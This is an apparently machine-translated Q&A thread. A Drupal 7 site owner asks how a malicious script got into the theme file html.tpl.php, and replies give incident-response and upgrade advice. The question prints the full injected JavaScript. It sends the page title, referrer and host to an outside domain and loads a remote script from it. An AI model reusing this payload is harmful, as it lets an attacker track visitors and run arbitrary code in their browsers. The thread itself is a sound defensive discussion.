2016-01-19 53 views
0

最近我的Drupal網站被卡回7.23。我不得不基本回去,恢復一箇舊的數據庫,然後複製/粘貼HTML以獲得當前網站的乾淨版本。不幸的是,即使經歷了所有這些,今天我正在通過我的網站進行檢查,當我加載管理儀表板時,我在瀏覽器的左下角看到了一個尷尬的URL。該網址是'nla98.it'。所以我用崇高的文本跑了文件查找和發現下面的代碼,這是我絕對沒有插入我的模塊/系統/ html.tpl.php:惡意代碼注入到Drupal 7的網站(html.tpl.php)

<script> 
var a=''; setTimeout(10); 
var default_keyword = encodeURIComponent(document.title); 
var se_referrer = encodeURIComponent(document.referrer); 
var host = encodeURIComponent(window.location.host); 
var base = "http://nla98.it/js/jquery.min.php"; 
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; 
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); 

if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){ 
document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>'); 
} 
</script> 

顯然,這是某種形式的腳本來執行代碼。但我的問題是,這是如何注入我的網站?我正在運行Drupal 7,升級到7.41,並且我已經運行了更新腳本和cron多次。我正在運行的腳本是:

jquery.js?v=1.12.0 
jquery.once.js?v=1.2 
drupal.js 
jquery.cookie.js?v=1.0 
textarea.js?v=7.41 
jquery-ui-1.8.23.custom.min.js 
gumby.js 
modernizr-2.0.6.min.js 
mobile-menu.js 
jquery.ui.totop.js 
easing.js 
plugins.js 
jquery.tweet.js 
main.js 
montreal.js 
supersized.js 
gen_validatorv31.js 
http://html5shiv.googlecode.com/svn/trunk/html5.js 
http://platform.linkedin.com/in.js 

難道它是我使用的過時JS之一中的漏洞嗎?我使用的模板是蒙特利爾(有點老)。

感謝您的想法。

+1

獲取時間戳時文件的最後修改,那麼你將需要訪問你的服務器日誌來查看大約在同一時間被擊中什麼其他文件。這看起來像是一次自動攻擊,所以我會猜測它已經在某處發現了一處漏洞,並且您需要找到該緩衝區,將其插入並修復所有受影響的文件。 –

回答

0

有在Drupal至7.32版本(在登錄SQL注入)一個非常關鍵的漏洞。你基本上可以做任何事情:登錄爲超級管理員,然後執行php代碼/上傳文件(帶菜單)/創建賬戶/ ...。我懷疑你的問題來自過時的js庫。 所以,你可以在升級後的核心做什麼:

  • 檢查沒有多餘的文件存在
  • 檢查沒有多餘的帳戶創建。
  • 檢查沒有額外的菜單鏈接被引用
  • 檢查您的自定義文件(模塊/主題/ ...)是否與您的版本副本相同,如果你有一個,否則你很好地手動檢查所有代碼。
  • 檢查php執行是否被禁用
  • 交叉手指沒有受到任何影響(如果他可以在服務器上用exec()執行命令,則沒有限制...)。

快,但根本的解決辦法(也是唯一一個100%安全):擦拭您的服務器重新安裝,從你的版本控制軟件複製你的老基地和Drupal文件(GIT,SVN,...),提升核心7.41。

接下來的時間,儘量多升級Drupal核心,這個漏洞是固定的,幾乎立刻就被稱爲後,大多數攻擊網站等了太久更新核心。